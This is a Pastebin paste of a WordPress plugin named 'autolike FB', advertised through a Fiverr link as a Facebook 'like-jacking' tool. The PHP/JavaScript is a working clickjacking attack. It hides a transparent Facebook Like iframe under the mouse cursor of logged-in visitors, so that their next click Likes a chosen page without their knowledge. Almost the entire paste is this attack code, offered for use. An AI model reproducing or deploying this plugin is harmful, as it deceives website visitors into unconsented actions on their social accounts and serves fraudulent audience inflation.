Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- Plugin Name: autolike FB
- Description: Autolike FB wordpress plugin
- Version: 1.1
- Author: SparkMyLife
- Author URI: http://fiverr.com/sparkmylife/give-you-customized-facebook-like-jacking-wordpress-plugin-to-increase-your-fans
- */
- function autolikefb_header_script () {
- ?>
- <script src="http://code.jquery.com/jquery-1.8.0.min.js" type="text/javascript"></script>
- <script type="text/javascript">
- var interval;
- jQuery(function()
- {
- interval=setInterval("updateActiveElement();", 50);
- });
- function updateActiveElement()
- {
- if ( jQuery(document.activeElement).attr('id')=="fbframe" )
- {
- clearInterval(interval);
- iflag=1;
- }
- }
- </script>
- <?php }
- add_action('wp_head', 'autolikefb_header_script');
- function autolikefb_body () {
- ?>
- <div id="fb-login" style="display:none"></div>
- <div style="overflow: hidden; width: 7px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="icontainer">
- <iframe src="http://www.facebook.com/plugins/like.php?href=http://www.facebook.com/"FUNPAGE-HERE"%2F&layout=standard&show_faces=false&width=450&action=like&font=tahoma&colorscheme=light&height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fbframe" name="fbframe"></iframe>
- </div>
- <div id="autolikefb-root"></div>
- <script type="text/javascript">
- window.fbAsyncInit = function() {
- FB._initialized = false;
- FB.init({appId: '498967446830951', status: true, cookie: true,
- xfbml: true});
- FB.getLoginStatus(function(o) {
- if (!o && o.status) return;
- if (o.status == 'connected') {
- document.getElementById('fb-login').innerHTML = 'true';
- } else if (o.status == 'not_authorized') {
- document.getElementById('fb-login').innerHTML = 'true';
- } else {
- document.getElementById('fb-login').innerHTML = 'false';
- }
- });
- };
- (function() {
- var e = document.createElement('script'); e.async = true;
- e.src = 'http://connect.facebook.net/en_US/all.js';
- document.getElementById('autolikefb-root').appendChild(e);
- }());
- var iflag = 0;
- var icontainer = jQuery('#icontainer')[0];
- var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body;
- function mouseFollower(e){
- if (window.event)
- {
- icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
- icontainer.style.left = (window.event.x)+standardbody.scrollLeft+'px';
- }
- else
- {
- icontainer.style.top = (e.pageY-5)+'px';
- icontainer.style.left = (e.pageX)+'px';
- }
- }
- document.onmousemove = function(e) {
- if (iflag == 0 && (document.getElementById('fb-login').innerHTML == 'true')) {mouseFollower(e);}
- }
- $(document).ready(function() {
- window.fbAsyncInit();
- });
- </script>
- <?php }
- add_action('wp_footer', 'autolikefb_body');
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement